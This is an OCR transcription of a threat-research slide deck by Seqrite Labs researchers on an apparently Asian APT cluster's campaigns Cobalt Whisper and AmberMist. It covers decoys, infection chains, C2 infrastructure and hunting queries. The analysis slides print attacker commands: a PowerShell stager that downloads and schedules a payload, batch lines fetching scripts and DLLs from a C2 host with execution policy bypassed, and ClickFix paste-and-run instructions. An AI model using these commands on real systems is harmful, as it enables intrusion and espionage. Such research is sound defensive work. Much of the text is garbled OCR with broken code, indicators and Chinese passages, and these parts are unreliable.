SUBHAJEET SINGHA by = positive technologies
SECURITY RESEARCHER, SEQRITE LABS, QUICKHEAL, INDIA

def key_pressed(key):
print(f"{key} pressed")

UNGHBEEZ: Regional

Threat Dperations
tracked across
multiple Asian
Jurisdictions.

# Create the main window
root = tk.Tk()
root.title("Simple Keyboard")

Advanced, Adaptive & Persistent Entity from South East Asia

keys =['Q", "W, 'E", 'R, 'T", "Y', 'U. 'I','O", 'P']
in the following keys:

button = tk.Button(root, text=key, width=5,
@ g command=lambda k=key: key_pressed(k))
button.pack(side=tk.LEFT)

pos'p.:glc

Jakarta



T he speaker

About

Security Researcher — Il @ Seqrite Labs, Quick Heal, India .
Loves Reverse Engineering.

Does APT Hunting & Threat Research.




Lo—Fessarcher

About

= Senior Security Researcher @ Seqrite Labs, Quick Heal, India .
=  APT Hunting & Threat Intelligence.

(O
e (O

LinkedIn : X @



https://www.linkedin.com/in/sathwik-ram-prakki-43770016a/
https://x.com/PrakkiSathwik
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T Operation Cobal tiWYhisper

e 95!
T Oper=tion AmberMist

%%ﬁ Imtfrastructure & Httribotion

//li\\\, Conclusion
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Timeline of UNGOO0OO02
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Timeline of UNGOOO02 — Cobalt Whisper

Enterprise Decryption

o Acavbaer =Yl
W ERRRETHBEETE

Parking Fee

BHEF DRI ERES R

“Latest Parking Lot Fee Adjustment
Plan"

"Movie Publicity Requirements”

Research on Pre-Fueling

TR E IR S AR SWGT
N (B E)

"Research on Pre-Fueling Flight
Management Methodology and
Software Implementation”

Technology Awards

o FAHEMMIERTEMESK

HLI (BUEN)

“Instructions for filling
Electrotechnical Society
Awards"

Targets CN Universities

» Peking University — Finance
* Yunnan University — Env. Eng.

» Tsinghua University — Comp. Sc.

Targets Pakistan

Study of Fusion Power

* Islamabad Security Dialogue o PGB LER =—EERSHMME
¢ Final Combined Forecast MCP Eﬁjb (ﬂ&E&E'\

« IDEAS 2024 Calling Letter » "Optimization study of the parameters

of the three loops of the thermonuclear
fusion power island”
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Timeline of UNGO0O02 — AmberMist

Targets MOFA Targets Gaming Industry
e mapad . IR

« DLL-sideloading into Rasphone | * DLL-Sideloading into Node-

WebKit
* Shadow RAT
 Blister DLL Implant

Targets Al/Tech

Industry
« "ZFBA_CV.pdf.Ink"

e Execution via LOLBIN
* INET RAT
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Operation Cobalt Whisper

Industries Affected

*Defense Industry

*Electrotechnical Engineering

*Energy (Hydropower, Renewable Energy)
Civil Aviation

*Environmental Engineering

*Academia and Research Institutions
*Medical Science Institutions
*Cybersecurity Researchers
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Initial Findings

We will now look into some of the initial findings.

%58 (5]

RAR Archive File

"Mt . (Q024FEEHRESB IR ARFESRFR,
ARREEFRZHY BEARBRAOMEFL
%) EIRIHAR(202448 A #hR).pdf.Ink”

- Attachment 1: Instructions for filling in the
"2024 Recommended Nomination Form for
Science and Technology Awards of the
Chinese Society of Electrotechnology
(Technical Invention Award and Scientific
and Technological Progress Award)” (new
version in August 2024)

=)

LNK Scripts.

Multiple such shortcut files using wscript (or)
cscript to execute hidden Visual Basic Script

Final Payloads.

Decoding hidden implants that lead to
Cobalt Strike beacons
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Infection Chain

T ———
Phishing
* Rename & add
bundled | Scheduled Task "
files wscript.exe cheowoa, 1asK _
— y % > ' Multiple
1 : 2 vBs 4 Host-Headers
; | : o
Archive +  Shortcut 0365.vbs ' =
) cache.vbs '
: DS_Store.vbs :
' | ' C2 Server
: Decoy Cobalt Strike |
\ Beacon

...........................................

AS 45090 - China
(Shenzhen Tencent Computer <"
Systems Company Limited)

Operation Cobalt Whisper
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Decoy Documents - | 5 2

RO 02 T L R P 1

e T B O s o N 2 R ey 3

b ERIHEA¥S S B BRI A e 3

China Electrotechnical Society

Wi EFTIRA oo s o g s A st s 5
By B A e s R S SRS T 5
P B AR 5
e ABMBYRERBERBER o s s 7

F AP B s s s s s 7

2024 Erg ':F @.Iﬁ*#%ﬂ#ﬁ*# % FHERBEREBFRBWIR ... 7
T R ERRFRN vmmnsmmnmsams scmmnsenn 7

;&ﬁ/*&%:ﬁ T FERRABRE ..o 8

Dl A 0k R N SN 9

(%&j{%ﬁ@ﬁ%@%u%4%iﬁfﬁ;§g> TZ BERECEL (FREFRTTHE) oo 9
+H, FREHFEN (EAEHEHTTH) 9

2024 Annual China Electrical Society Sciencr and Technology Award FE HUTERN e s s 10
Runssusesadiing illaibeaiine e L R R A P S S SRR 10

{835 15 BR
} ~

Contents on Guidelines for Project
Submission.

Operation Cobalt Whisper
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Decoy Documents - I

Additional Supporting Materials

I £ KRB EFEHELRER I +H. EfsTEME

1. FRRBEESHEHXE XHEENE, TREFRE

Previous Awards received by the 2. THFCENIENR, FHEREZ AL
J\. EEMEA~ -3 current m . 5 ¢
e e - - 3. AEAEH5A, EAPFXBRBEL—RETAL, AAF
ERFEZXRZREZE 2 ERRHERFH
BEfm. FEANAEER. RELRFTRIN, 8.
FEZNT. PRSI ERKAFANEUERSR, HWIREAT R - s o
BRER. +5. GEAHNE | | Project Video Introduction.
FREAEAEACRREANEAES, RAERERUARLS BHRATHTRE, ALEFEHH (AEPPT) A E, REEE-S
ER—APFXAEAZRE: sEAREFRERBRREXRE, A 4 i . S oy
‘R ZREN ZERE. RAEAFS. ZEFZAZFER FEES
RASH. 719, #eB—XRALTE, B¥ LAPFXAERE. REX. ZE7 i EXAZH
&0 e - TSR A & 4z
. R R MR HPFEER, BIERAREFE2REE. KA LaB-—ERARGTH

®R, AATFEL 300 .

RFERE, SHRARFNHESCKIEFIER, WERRATEAR
WHMATERREH EEIEXH, LEE “RERF—Hz5A%5
Sk RFERA" R “LAREMENE" AOREEXE.

BEEEEERRE, BRRE, AU, H5RE, BARE, RABRFAFNHE, ¥FokIEFEs, ABMEREARXE,
Tl FEREALRHBERRL.

+. REEREEERIETR
EERSEEER, wEIAFIHEH

Ay
i
Yl
o)
a
iy
K
o
P
AL
(&l

Operation Cobalt Whisper
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Decoy Documents - |l

_ o= 2 gy =tonb S = b NS by =t ALl L = i | e =L Ny -
PLERRTATE, sEFHLERETE R AEEELT, 0 Revocation of

Awards

Various regulations and
interpretations.

Operation Cobalt Whisper
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Technical Analysis — LNK

* LNK runs the malicious VBScript 0365.vbs using a \Windows utility known as wscript.exe

¢

a0 00
ORBY craweis

Comment

Operation Cobalt Whisper
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Technical Analysis — VBScript

« Mimics a utility for managing and generating compressed cabinets from an MSI| database

Operation Cobalt Whisper
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Technical Analysis — Decoded VBS.

* Scheduled task named WpnUserService _xé64 to run sigverif.exe every 59 minutes

ervice.NewTask(0)

egistrationInfo

Operation Cobalt Whisper
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Technical Analysis — Cobalt Strike Beacon

* Analysis & Extraction of Cobalt Strike beacon.

139.155.190.84, /api/x,139.155.190.198, /index

ﬂ Detect It Easy v3.09 [Windows 10 Version 2009] (x86_64) = O X BAnOIrR\ Sy SwowBA\d1Thos T exe
- Kwindir¥\sysnative\dllhost.exe
File name
NtZOV6JzDr9QkEnX6bobPg==
RN ——mvw e s o ww mvn o e o - wm ' rme remew ee m : Mozilla/5.@ (Windows NT 10.9; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.8 Safari/537.36
3 SR ; Accept: */*
File type File size Base address Entry point ] V| Advanced
PE32 > 237.50 KiB 00400000 0042f1a0 >
Demangle
Accept: */*
File info Memory map Disasm Hex Strings Signatures VirusTotal 1SESSION=
MIME Visualization Search Hash Entropy Extractor YARA [Host: service-a8vp3r65-1319584009.cd. tencentapigw. com
PE Export Import Resources .NET TLS Overlay $5915iqlejZ30Qd/sgvhag==
- - ) : 139.155.190.84
Sections Time date stamp Size of image Resources 139.155.199.84
0005 > 2015-07-09 20:27:31 00032000 Manifest Version 139.155.198.198, /index
Scan Endianness Mode Architecture Type 65a330 ( 516) 9 403 Forbidden
Automatic v LE 32-bit 1386 GUI

Content-Type: text/plain; charset=utf-8
TR e a i s ] Content-Length: ©
Operation system: Windows(10)[I3 32-bit, GUI] ? TRRNER RN keep-alj_ve

Linker: Microsoft Linker(12.10.4011
Compiler: EP:Microsoft Visual C/C++(2017 v.15.0)[EXE32] Api-RequestId: a3a6cb9988087ebfd5efab3002467c08
Api-ID: api-rawB6gql

Compiler: Microsoft Visual C/C++(18.10.40116)[LTCG/C++]
Language: C/C++

[N N RV R
R e ]

£ 2 Shortcuts
Tool: Visual Studio . Date: Fri, 27 Sep 2024 19:56:59 GMT
Dptors Server: bfe
Signatures | V| Recursive scan V| Deep scan Heuristicscan V| Verbose About Request-Id: 56967fb0-3e28-4bf0-b322-ace3762517ca
Scan x
Directory Log All types > 304 msec Exit Apl -FunclName: back-0008

Api-AppId: 1319584009

Api-Serviceld: service-a8vp3reé5

Api-HttpHost: service-a8vp3r65-1319584009.cd.tencentapigw.com
Api-Status: 403

Api-UpstreamStatus: 403

Operation Cobalt Whisper
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Hunting — |

Cobalt Strike Beacons — ImeBroker.exe

Sortby v Filterby Export Vv Tools Help v

Detections Size First seen Last seen Submitters

UO0CaULE LUV I UECE o000 I cuu T LUuuU L scac U,

&S ImeBroker . exe 11 /33 237.50 KB

2024-08-08 2024-08-08
22:26:53 22:26:53

detect-debug-on

ob599ef67428ccheflaB17233238¢ca952da95¢ 7.
e ImeBroker.exe ) I7 237.50 KB

2024-08-09 2024-09-11
02:47:20 16:25:46

ol Setect-debugevircamant  loog-sleeps

cd455a6d88811¢c3b23a%81e121702dfe@371d1...
2024-08-15 2024-09-11

o N Ime8roker.exe S
it 02:02:35 18:24:17

debug-ervircoment

df3d3acS782098c308681221d35¢c25faa216b2b..

2024-08-16 2024-08-16
s ImeBroker.exe 3/ 237.50 KB

11:30:55 11:30:55

eddfd7a3df28cc722e7falde24cdf5bb564el74..
& ImeBroker ., exe 237.50 KB

2024-08-17
06:33:43

Operation Cobalt Whisper
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'I:aLI-c:s
Hunting - I

» Shortcut LNKs - laptop-g5qalv9é [ Threat Actor OPSEC ] @

content:"laptop-g5qalvic” Smart search ==

Sortby Filterby Export Tools v Help Vv

Detections ize First seen Submitters
126f8b7aB82ba6l3bcabfebacc2ef20b8c8affo6.

% N 2024-07-02 20240702
ST e -2026 ¥l -t . pd . Lnk )

06:06:00 06:06:00

Ndingwindow  idle

2477dd3bd6d895399¢cTb94852¢c770933a0786¢e..
- FR-EEE  paf ., Lnk

2024.07-0% 202407409
10:05:16 10:05:16

2024-07-16 2024-07-16
RN - e - IR T BT RS- IR TR, docx . Lnk

02:34:30 02:34:30

hdingwindow  idle

21175d72eB863083bb70a670f5db8dc88fe912131..

o Final_Combined_Forecast _NCP_FY_2024_25.pdf.lnk

2024-07-18
10:37:19

Wdng-window  idle

2341bb204d9d86b63aec2616c3f8448b53985a0..

Islamabad, Security Dialogue_Pub.pdf.lnk

2024-07-25 2024-07-25
06:50:30 06:50:30

Operation Cobalt Whisper
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'I:aLI-c:s
Hunting - lli

* Pivoting on cscript.exe gives new IDs — laptop-g5qalv96é6 and desktop-727otfd

ASCH Wide Download

Operation Cobalt Whisper
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New Decoys - |

Pkwmmdhmﬁwmﬂwhmrﬁﬁmumummdﬂﬁﬂ

PRI R G ERIFEBR L, 2ECLAR TR SRKRRISIE? f
B LT 2 0 S50 RO R SCHF BLR A mT A7 M A AT 2cdE ?

- EMEE RSB, Z2EFRTKERRSAEPOERER, waET

Wy BT XIPIAE? IXHEP FAR T 20 BRI G  A 7 AE 5  ?
SR B R S T R r S RS, RO e R R AR R
7 XS TE SRR R 7 AT A AR

e AT A B SRR, REHE THEREROWIELE M) SRMAL? Fin,
MR E R R R B s R AR, dn ] CRAE A 9 B ) A ARG SE 1 ?

RSO EE P RGE AT E M AT T e, (AFESERRR A, T VR4S e

A 2K A~ i 1 0 1 R OR  5 ?
c EMF SRRy, REHIE T A FEESRAT 5% A5 S0 BRI FEI R MR ? 455
g5 A2 T REB% M o LR PEAR TR ?

o WS, RSO BT AN 5 A S B T SR PR TR A S B BRAH R e B8 T LA 3 7

ARA ST FEREERMLEMES SHHIE?

o BRI HERR . A SO FI| T Ebsiloni £ HEAT B B0 Y (HR VR AN U B BER AY

SSUEIE . IRAVAE T REBRLR 2T B S PR R B A B ST LSS, DAHA
CRABURY A o 1 1 o] 4

- BECREMME: EERRARLZ D, ERNSERNRN T ROEEN K AEREN

LU REW . EEE TORMIA, 12.4 MPafISA0CE AR S M, HE
FE53 WX L 2 OR 1 (9 FLARER thy A AR

- BFESNT A EEINE: ERASITG, ESEERE T REMRORL, HRE

JIEIEAT FAE A . BATHE T RIX LN R BT P #EIE, UUEN
of S PR 22 B S5

o BB ORI R PR T e B R A SR, BREIX

SEROR AR TR Rt FATE BOR BEE VRO BEE RN R, AR R AT
S LS BRA A B 00 52

L HERMMEYE: 0TS CFETRECR R R (AT i A M . 2R

A T WX L SRR AL T i S VR R 75 AT LA A A S 7 0 3R S R M BUR L
A4

- BURTEPTHOIREE: K IEBECRAN R F TR, 2T T RS

? AR T AR B R AR G R R S R

Operation Cobalt Whisper
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New Decoys - i

Name

Date modified

Type Size

_cache

=
g

9/27/2024 229 PM

File folder

L EIRRE =

O

/27/2024 2:29 PM

File folder e

MEEERE-TES SRRy -EN.

24 2:23 PM

Shortcut

1K8

PEBEREFUERMIERES

JAd it
BABRZ LRSS
SariigRig SnfinerpPisyer
RMW; FTHERA: SN LReL, RAESL

P ARSI
#i 5N ¥k

RIEFTURRNRMRL R
S A0 O SR 5

PERELDNRREAFXT

MARRFwCR IR

BRELUNIN T (R 01 A
i TR T I
.o

Madl it Por)

Operation Cobalt Whisper

5e E+ 3 4
ne 2
WA EE 1996084 128
wRRAM 20245078128
FURTRL FPHEAS
FRRFL I8t
FREU wREANL
FUT R 114201201304000413
Profile Ociented Lwe
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Targeting Pakistan - |

g

=z INTERNATIONAL
./ DEFENGE EXHIBITION AND SEMINAF
PAKISTAN

G\ ARMS FOR PEACE
AN\ 19 - 22 November 2024 //;
. Karachi Expo Centre <.
2 _l 7 e /

/ /

i EDITION OF gl
INNOVATION & EXCELLENCE "% ) 4

[DEAS
2024

-»-‘-‘2r.;‘,ﬁ,“,‘“ i1l "
Sy

Operation Cobalt Whisper
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Targeting Pakistan and CN-CERT

vlodes lancea

FORECAST OF PAKISTAN ARM

AO Ye', ZHANG Yi-feng' =,

r Chinese Materia Medica, China
‘b Medicine, Ministry of

t Atractylodes lancea, and it
ing cold, and brightening the
in clinical practice, including
and hepatoprotective effects.
‘oportion of the main active
e research progress of genes
:ting their biosynthesis, so as
terpenoids in A. lancea and

Medical Research

R ZEANY, RARE
wENZGHMEY. [
51, BARMENRE KR
KA REREER
PR o BT AR K
PG R MR T2 W
XARGEE T ERAEGF

2024 - 2025 (GRAT

[ Targeting Pakistani Military Academy

TRAINING INSTITUTIONS

PAKISTAN MILITARY ACADEMY I
ARE, NOWS

SCHOOL OF ARTILLERY, NOWSHERA

CM@EWKC;tE
EXIRAEAG) Er

XTHE
“M k4 Be S1AIE (CCSC) ”
f 3818 B

Targeting Security Researchers and

Enthusiasts mimicking CNCERT
\]
£E &R ME RO
RAEY [ KA 4, RIBA RBERERZS P SR, W BRI RE
46 5 A O SHREHEII, LARIZE 2 ML A RO AT, B RdEd

AT . TSR, FREMNZ% TS )

A T4 E SR, — R AR i

48 4T U R P

S 2% 22 4= BT AR N B RE SETRE TN SR VU2 2 R R v 9 4% 2 4 N A2l
Sk, S AA RIS R R AT bR S R 4 A ST AR N
A BRIP4 N REF VIRV FRMIRE . 7S RAE ST TR T R B AL 2

Operation Cobalt Whisper
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Archive Uploads

We hunted multiple malicious RAR files from various geographical-regions.

1 R R AKIE R RARAI R BN AIZ1] hi.rar HONG-KONG
2 2(HE AP RYIEzZp

3 EHEEDW SRR A REET X rar

4 = BREK zip

5 AEMITEIRE R AN R SIRESEI (ELZEW ) rar CHINA

6 XIA-FEXRZE-TrE.rar

7 EEHF-ILHEKFE-20265L\/ -2l £ rar

8 RAN-mEXE- MR LR rar

Operation Cobalt Whisper
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Archive Uploads

We hunted multiple malicious RAR files from various geographical-regions.

9 RAZBTEBH=ERS MR (EREN ) rar CHINA
10 SHMESEXRMEIEICH EAHFR(EXREN) rar )

1 W E MR/ ZEFIERR (1B5CEEE) rar

12 IDEAS_2024 Calling_Letter.zip PAKISTAN

13

Final_Combined_Forecast MCP_FY_2024 25.zip

14

Islamabad_Security_Dialogue_Pub.rar

Operation Cobalt Whisper
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Hunting Queries

- ASNSO09O0 registered with Shenzhen Tencent Computer Systems Company Limited

16,000+

Domains hunted with this hunting
query

entity:domain service
(*tencentapigw.com or
*tencentcs.com)

190+

Samples hunted with this hunting
query

service (*tencentapigw.com or
*tencentcs.com) (type:peexe or
type:pedill)

S0+

Samples hunted with this hunting
query

service
(behaviour_network:*tencentapigw.com
* or
behaviour_network:*tencentcs.com*)
(type:peexe or type:pedil)

Operation Cobalt Whisper
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Hunting Queries

ASNS0QO0 registered with Shenzhen Tencent Computer Systems Company Limited

service-a8vp3r65-1319584009.cd.tencentapigw]|.Jcom

139.155.190[.]184 service-c2y0jtba-1319584009.gz.tencentapigw]|.]Jcom.cn
43.137.69[.]76 service-qgezbin5-1319584009.sh.tencentapigw[.Jcom
139.155.190[.]198 service-h87kxr41-1319584009.bj.tencentapigw[.Jcom.cn
JC6-5i5.afdlon service-cyuasubk-1319584009.nj.tencentapigw|.Jcom
121913223[8][,;(2)21 service-3z1ebnpd-1319584009.sh.tencentapigw|.Jcom
119.45 67 ]241 service-b4ibcyjt-1325935989.sh.tencentapigw|[.]Jcom
119.45 2[ 156 service-kéiylaqt-1319584009.bj.tencentapigw|.]Jcom.cn

service-7wu3p58s-1319584009.nj.tencentapigw]|.Jcom

Operation Cobalt Whisper
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Infection Chain - |

co ] ClickFix : E,‘ :
( ) m > Ll EXE sideloads :
: ; ' 1 rasphone i
moma.islamabadpk.site V : (R0 Shadow RAT ' marinve-research.space:9445
' k (rtutils.dll) ;
8888 i S . skyfare.site:5679

ecoglide.site:7699

Spear N — _ E
Phishing pentree.onlme C:\Users\Public\Tasks @

. A
21443  C:Windows!Tasks! 5 run.sct
2885 _CV.pdf.Ink : T . ; — :
- RN - E— 5
LNK wscriptexe | [ : ; :
: | i ! script.ps1 '
Li Mingyue_CV.pdf.Ink ' l.vbs ‘ ! !
: l ‘ ' regsvr32 !
: BAT —E PoWer T % 2 E
5 ! Shell VBS list.txt INET RAT !
E p— -y (memcom.dll)/,

...........................................

Operation AmberMist — Late May 2025
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Infection Chain - I

»ﬁ MALICIOUS LNK
Q
> EXE NODE-WEBKIT EXECUTABLE

SPEARPHISHING

KRR 175(0)..zip

OPERATION AMBERMIST - EARLY-MAY [ 2025 ]
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CV-Themed Decoys

Chinese-Origin Name

MARE

FEBHRUITHFER, THRIEERDN logo FHYRILE, TRUENEWHE

. BTN, BTS5ARE, RANE, BIHFL

. CONT T
MENBERBEAFNLAE  visnieits S
(RIERYMFTR BT IR LU A EUFF & S, +8615555151447

17827698220@ 163.com

2 AFE LHRE N RBURTIL S, W 2

;‘Kmm 221

Q dtRmABREIMERERR

EREAARR, HEFLERER

HRUIEE, BRRER

SIEPRIEE B IHRE
6.RE LiER R

%
TR R ORI TR

EDUCATION

RALE
% 2021 - 2025
BEXFEHENR

o HBHBEZESER (KH)

| mnmm Gmo) BRAE v

« GPA3.82/4.0 (%ik&l10

MMEREE
REAER i

IfEeI: 7%
REER: WRURH

mRaw®: M

WiRININTE, i@

B, Logo. YIMAMAR

AGAEERMMTBERE, DBRMES

MRIZIFES: C/C++, Python,

TypeScript, Kotlin, Swift
Witk SEA: React +
Threejs. WebGL. Flutter,
OpenGL, Unity

Al / 8% PyTorch,
TensorFlow. Diffusion
Models, LLM $ERE

SEa. ammax f

7 ORR LENHFDEARNOTE.

BITMERNRN
BARRERT. L

9. 85RBREART, MREENREZNEARR, RUDUE,

maw
- lam. Emama Vs

S
=

Operation AmberMist

FEEH

F4

PROFILE

ARFHERANZESNEREANLR, RARABARNEIE
hiTh. ERERADE, BATFHRE Al SERER, TiEME)
EEAPONT—REM™ G, BFE B BEDRERPOSHEHN
HEM R BIH NI,

KIEH

FTED - PICOXR FEE — HCIFRAEIE 20245 6H-98

RUEMERFERR (MSRA) — BRSCBAEE (RA) 2023F7H-108

« £ HCI Group X £ "Al-Driven Creative Tools”
Diffusion Turbo #18% ONNX Runtime,
« S1EARE 1 Workshop i€, HIEHAH 1 HEF,

; A3EHE Stable

WFHEAH
o BEXFEREIRHE QIBARITK: AR 125 IT1EH. 4RRE
Hackathon.
R e M

* ACM-ICPC TEMEKIR#E — HRAF, 2023
« China HCI Student Innovation Challenge — —%%2, 2023

pyr

P
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Gaming-Theme Ul Decoys

l4s-1 42

! +-sR2 +-+13 +etalase PR W

3333 banner2 bannerd banne"rS

bannerb B

Game-Ul design snippets

Operation AmberMist
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Gaming-Theme Ul Decoys

—_—

New s

&

.ﬁ‘_(\

HeFh el

S *
% *

Operation AmberMist
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Gaming-Theme Ul Decoys

i i naga
F FRY e
% . e
2 3 [
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Video proof related to CV-themed decoy
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Technical Analysis — ClickFix [ MOMA ]

Verify You Are Human

I'm not a robot

Privacy - Terms

Complete these Verification Steps

To better prove you are not a robot. please: Classical ClickFix-style malware

1. Press & hold the Windows Key "s8" + R. / dropping technique.

2. In the verification window, press Ctrl + V.
3. Press Enter on your keyboard to finish.

You will observe and agree:
'I am not a robot - reCAPTCHA Verification ID: 146820"

Perform the above steps to finish verification.

Copyrights © 2025 National Information Technology Board. All Rights Reserved

\ NITB mentioned which is an autonomous

government agency under Pakistan Government.

Operation AmberMist
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Technical Analysis — PowerShell Stager

Start-Sleep -Seconds (1 * 66\

$folderPath = 'C i

mkdir $folderPath:

$u=’

$p='

$exePath="C:/U

(New-Object Net.WebClient).Dow loadFlle($u,$p),

Start-Sleep -Seconds (1 * 60)

Copy-Item -Path "C 2. exe” -Destination $exePath;
(New Ob)ect Net. Webcllent) DownloadFlle(

Set-ItemProperty —Path P " -Name Attributes -Value ([S
Start-Sleep -Seconds (1 * 60);

$taskNames= “+(Get-Random -Maximum 10000);

$trigger=New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(5) -RepetitionInterval (New-TimeSpan -Minutes 18);
$action=New-ScheduledTaskAction -Execute $exePath;

$settings=New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable;
Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $action -Settings $settings

Operation AmberMist
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Technical Analysis — Shadow RAT

; TraceDeregisterExA
; TracePrintfExA

+ TraraDaaictarEvA
HESERRAGAE AR

pStartAddress

5 lpThreadId

ags eax ; dwCreationFlags
hreadAttributes

; dwMilliseconds

. 180005CD3

51128 = _mm_load si128((const
if ( &73 != (__int128 *)v3 )
I

*DLL-Sideloading

eexport function: timing
*UpdateProcThreadAttribute()
*Loads the C2

C:\\Users\\The
Freelancer|\source\\repos\|JAN25\\mustang\||xé64\\Release\\mustang.pdb

Operation AmberMist
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Sub-Campaign — LNK & VBS

posﬁ

‘)\::”fi.“-i T ——— | | 'éﬁﬂﬁ_cvpdflnk

ibias/I

X.Run
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Sub-Campaign — Batch Script

posﬁ

C:\Users\Public\Tasks\list.vbs https://pentree.online: 21443/RA8V32IC/Xenda/GRA842 B/Cross/lblas/llst vbs
1 -ExecutionPolicy Bypass -Command "% Name="Utili s;$scriptPath="C I

C:\Users\Public\Tasks\list.txt https://pentree.online:21443/RA8V32IC/Xenda/GRA8323B/Cross/ibias/list.txt >nul 2>&1
C:\Users\Public\Tasks\memcom.d1ll https://pentree.online:21443/RA8V32IC/Xenda/GRA8323B/Cross/ibias/memcom.d1l
C:\Users\Public\Tasks\script.psl https://pentree.online:21443/RA8V32IC/Xenda/GRA8323B/Cross/ibias/script.psi
C:\Users\Public\Tasks\run.sct https://pentree.online:21443/RA8V32IC/Xenda/GRA8323B/Cross/ibias/run.sct

ib +h +s "C \Publ nul 2>&1 2>&1

0040

powershell ExecutlonPochy Bypass Command ‘ kName='UtilityUpdater' iptPath="'C:\Users\Public\Task "‘:?.wbr';i

Operation AmberMist
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Sub-Campaign - VBS & SCT

Set objShell = CreateObject(
t exec = objShell. Exec(

WScript.Sleep 1080

2l version="1.8"

progid="LwGf" classid="{F0001111-0000-0000-0000-0080FEEDACDC}
language="VBScript”
<! [CDATA[

Operation AmberMist
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Sub-Campaign — PowerShell

Add Type -TypeDeflnltlon @"

CSharp

Methods]::opt_mem() | Out-Null

Operation AmberMist
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Sub-Campaign — INET RAT

*Fetches Computer & Username
*Unnamed pipes with hidden cmd.exe
*QueryPerformanceCounter()

Decoded C2
marine-research.space:9445
skyfare.site:5679
ecoglide.site: 7699

Commands :
sleep, windowsleep, nextsleep
Window, exit

C:\Users\Shockwave\source\repos\memcom\xé64\Release\memcom.pdb

Operation AmberMist
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Campaign-2 : LNK & VBS

Windows

19 0 9

amFiles 6) $\Mic ige\Application\136.0 0.64\msedge.exe

« SKWEWEE [.zip

* /hang Wanwan Resume

\Application\136.0¢3240.64\msedge.exe

scriptPath = WScript.ScriptFullName

currentFolder = Left(scriptPath, InStrRev( scrlptpath
t WshShell = WScript. Createob]ect(” 5

HshShell CurrentDlrectory

UshShell Run Chr(’4) & currentfFolder & " & Chr(34),
WshShell.Run Chr(34) & currentFolder & " ' & chr(34), 1,

WScript.Quit

Operation AmberMist
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Campaign-2 : Blister Implant

Date modified

Name

IE B Em

=

= MacUpdate

nw_elf.dll

o

L] update.dat

IB_] update

= zww

5/23/2025 12:48 PM

Type

Application

Application exten...

\/’!
i

na

LN
i SN

o

-

e

Ln

a76aal7b95dd858eb277fb0a3ee4e19633echbIce327c04d204c93ef5667d467f

detect-debug-environment

DAT File

VBScript Script File

Microsoft Edge P..,

Operation AmberMist
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Blister Implant — AES-CBC decryption

Breakpoints 3 : j Script | symbois A References W Tireads

posﬁ

@ Disassembly

‘o

(qword ptr

0DO0021018A70029

S
s
4
4
4
)
Y
4
3
€
3
C7
4

dword
word

89 EAOFDFEQ
15945 DO

00007FFC2B48EF7D ntdl1.d11:$5EF7D #5E37D

Dump 1 m P 3 = Y -t 5 8 warh:

ascTY

o
n

- TITGUSVWATA

REBEGENNNUE

@00 WMV

000

@MY

VENBMOS

0w mp
oN®®E

0,«\[)5‘“
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Blister Implant — Patching Entry Point

sub_45C

[FBp-
sub 45C

sub 45C

sub_45C

 Patches Entry Point and diverts the execution to reverse-shell based shellcode

Operation AmberMist
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Hunting & Infrastructure.

0 Follow C' Reanalyze 4, Download ~ = Similar \» More v

16e284614fcObb2ba6cfddf27886697a5d183b38ed84085bd8362965618f0289 Size

EEEEERT] 620.90 KB 1 month ago

zip contains-pe detect-debug-environment long-sleeps

Bundled Files (11) ©
Scanned Detections File type Name
2025-06-15 /60 Win32DLL aaaaa/_imeg_/DlISafeChecké4.dIl
2025-05-12 /63 Windows shortcut aaaaa/2EEER 0. pdfInk
2025-06-30 0/63 Apple related aaaaa/.DS_Store

2025-06-06 0 /63 AppleDouble Format MACOSX/aaaaa/_imeg_/._.DS_Store

0 /62 VBA aaaaa/_imeg_/123.vbs

0 /62 AppleDouble Format MACOSX/aaaaa/_imeg_/._123.vbs

0/73 Win32 EXE aaaaa/_imeg_/update.exe

rd ? MACOSX/aaaaa/_imeg_/._update.exe

/63 aaaaa/_imeg_/update.dat

?
4 4 __MACOSX/aaaaa/_imeg_/._update.dat
?

rd __MACOSX/aaaaa/_imeg_/._DlISafeChecké64.dIl

- Similar campaigns

Operation AmberMist
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Hunting & Infrastructure - Overlaps

Bundled Files (6) ©®

Scanned Detections File type Name
2025-06-20 28 [ T2 Win32 DLL 2025 S EAREIRIE/N 5/ MACOSX/CiscoSparkLauncher.dll

2025-06-20 5/62 VBA 2025 EHT EaaBERiA /N &5/_MACOSX/Store.vbs

2025-06-20 2/62 Windows shortcut 2025 S S R AN S 2025 FF E S E i £\ & pdf.ink
2025-06-20 0 /63 PDF 20254F S R AN &/ MACOSX/20254E X5 B £ &5 pdf
2025-06-20 0/62 XML 20254 5T EaaEEA /N B5/_MACOSX/Cisco.xml

2025-06-20 0/72 Win32 EXE 2025 EET SRR AL 25 /_MACOSX/CiscoCollabHost.exe

Scanned Detections File type Name
2025-06-19 41 /68 Win32 DLL V0000009 O09©/.DS _Store/nw_elfdll
2025-05-27 2/63 Windows shortcut Q000000090 9/U-0000000009 pdilnk
2025-05-23 1/62 ? VOV V0999099 9/.DS_Store/update.dat
- 2025-06-21 0/72 Win32 EXE Q00000999 ©/.DS_Store/MacUpdate.exe
* U N Goooz copyl ng 2025-05-13 0 /61 VBA V09090909999 ©/.DS_Store/updatevbs
TTPs across 2025-05-27 0 /64 PDF 00000060 60/.05_Store/zww.pdf

2025-05-13 0 /60 MP4 ©000000000/000000300/90xc/movie_002.mps
PNG 0000000000/000000300/90000¢/1111png
PNG 0000000000/000000500/90000¢/1112png
PNG 0000000000/9000000300/90000¢/1113png

Operation AmberMist


https://www.proofpoint.com/us/blog/threat-insight/malware-must-not-be-named-suspected-espionage-campaign-delivers-voldemort
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Hunting & Infrastructure - Overlaps

C Reanalyze == Similar~~  More Vv

moma.islamabadpk.site Registt Last Analysis Date €\
islamabadpk.site NameSilo, LLC 11 months ago 3 days ago (5)

Malicious (alphaMountain.ai)

< Remember the malicious
ClickFix yet ?

% | Q moma.islamabadpk.site h 4 SEARCH >

moma.islamabadpk.site® 2

- - ubdomain of islamabadpk.site High
- SideWinder APT B f—

OSINT (2) Resolutions (15) Subdomains (1) DNS Records (0) Host Connections (1) Host Responses (0) CT Stream (0)
group and new .
ASN Reputation & Risk 0 Positive 2 High Risk A\ Reputation Factors
S

DNS Records

Sidewinder ( +) 101 [11 21 (3] 14]
Observed on: Maltrail(s
Jump to * .moma.islamabadpk.site Aliases: T-APT-04, Rattlesnake

